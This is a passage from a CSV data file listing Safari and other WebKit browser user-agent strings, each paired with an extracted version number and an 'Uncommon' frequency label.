Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) TestQt Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (webOS/1.4.5; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pixi/1.1\",1.0,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/6.1.4 Safari/537.76.4\",6.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; fi-fi) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46.140 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1 AlohaBrowser/1.5\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D5057a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C114 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/9.0 Mobile Safari/600.1.4\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 EdgiOS/41.41.4.0 Mobile/15C114 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200\",3.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Arena Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; fr-fr) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.1.68788 Mobile/11B554a Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; fr-fr) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) WebClip/13604.3.5 Safari/13604.3.5\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.6 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.6\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) Safari/522.0\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.39 (KHTML, like Gecko) Version/9.0 Mobile/13A4305g Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) Tableau/10.2 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.1.1 Safari/601.4.4\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Coast/2.0.5.71150 Mobile/11D167 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) Mac OS X/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.30\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/538.1 (KHTML, like Gecko) fancybrowser Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ko-kr) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3\",5.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\",5.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 Safari/601.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3\",3.2,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; sv-se) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\nMozilla/5.0 (iPod; U; CPU iPhone OS 41 like Mac OS X; fr-CA) AppleWebKit/532.9 (KHTML like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.22.7,4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) Tableau Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 63.0.3239 Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 FBSMTWB\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; hu-hu) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/6.1.2 Safari/537.74.9\",6.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) WebClip/9537.85.14.10 Safari/9537.85.14.17\",,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 6_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/6.0.5 Mobile/8B117 Safari/6531.22.7\",6,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5B108 Safari/525.20\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_10_5) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10\",10.1,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Mobile/14B150 Safari/602.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\",5,Uncommon\n\"Mozilla/5.0(iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.11 (KHTML, like Gecko) Version/10.1 Safari/603.1.11\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A406 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 Safari/601.1.46\",,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20 (KHTML, like Gecko) Version/5.0.4 Safari/533.20\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/604.1.38 (KHTML, like Gecko) Safari/604.1.38\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.29 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/600.3.10 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.10\",8,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\",4.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H8 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit/604.3.1 (KHTML, like Gecko) Version/11.0 Mobile/15B5066f Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A102 Safari/419 (United States)\",3,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 6_0 like Mac OS X; en-us) AppleWebKit/530.18 (KHTML, like Gecko) Version/5.0 Mobile/7A341 Safari/530.16\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en_US) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; pt-br) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version 10.1.1 Safari/603.2.4\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C71 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.3 Mobile/14E277 Safari/603.1.30\",10.3,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nb-no) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\",5,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16,6,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/602.4.3 (KHTML, like Gecko) Version/10.0 Mobile/14D15 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 EdgiOS/41.6.0.0 Mobile/15C153 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0(iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10102) AppleWebKit/640.3.18 (KHTML like Gecko) Version/10.0.2 Safari/640.3.18,10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B143 Safari/8536.25,gzip(gfe)\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.21 (KHTML, like Gecko) Version/11.0 Safari/604.1.21\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_5 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B601 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML like Gecko) Version/7.0.4 Safari/537.76.4,7,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B5130b Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) CasperJS/1.1.4+PhantomJS/2.1.1 Safari/538.1\",,Uncommon\nsafari-mac,,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; tr-tr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F61 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) Designer Safari/534.34\",,Uncommon\nSafari Mac,,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.17 (KHTML, like Gecko) Version/8.0 Mobile/13A175 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1 MXiOS/4.8.7.60\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/10.1 Mobile/15B93 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/604.1.19 (KHTML, like Gecko) Version/10.2 Safari/604.1.19\",10.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML like Gecko) Version/7.0.6 Safari/537.78.2,7,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5231a Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.2.7\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A5345a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Version/11.0.1 Safari/602.4.8\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) Otter/0.1.01 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.27+ (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/602.1.39 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.5\",9.1,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML like Gecko) Version/7.0.5 Safari/537.77.4,7,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Stainless/0.8 like Version/5.1 Safari/534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\nSafari/537.36,,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.5 (KHTML, like Gecko) Version/11.0 Mobile/15C5092b Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Windows; U; en_US) AppleWebKit/533.19.4 (KHTML, like Gecko) Dreamweaver/12.0.0.5808 Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.1.2 Mobile/14C92 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.40 (KHTML, like Gecko) Version/10.0 Safari/602.1.40\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/602.1.31 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/603.1.6 (KHTML, like Gecko) Version/10.1 Safari/603.1.6\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0; managedpc) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.2 Safari/533.18.5\",4.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (webOS/1.4.5; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pre/1.1\",1.0,Uncommon\n\"\"\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25\"\"\",6,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_3 like Mac OS X; en-US) AppleWebKit/535.16.10 (KHTML, like Gecko) Version/5.0.2 Mobile/8C28a Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64; chromeframe/24.0.1312.57) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.6 (KHTML, like Gecko) Version/10.0 Mobile/14G57 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B5119e Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E5277a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/9.0 Safari/600.7.12\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Phone; U; CPU like Mac OS X; en-gb) AppleWebKit/532+ (KHTML, like Gecko) Version/11.0 Mobile/1A538b Safari/419.3\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/534.30 (KHTML, like Gecko) Version/8.0 Safari/534.30\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_3; en_US) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.2 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.2\",11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) fancybrowser Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/602.1.33 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8\",9.1,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; tr-tr) AppleWebKit/533.17.9 (KHTML, like 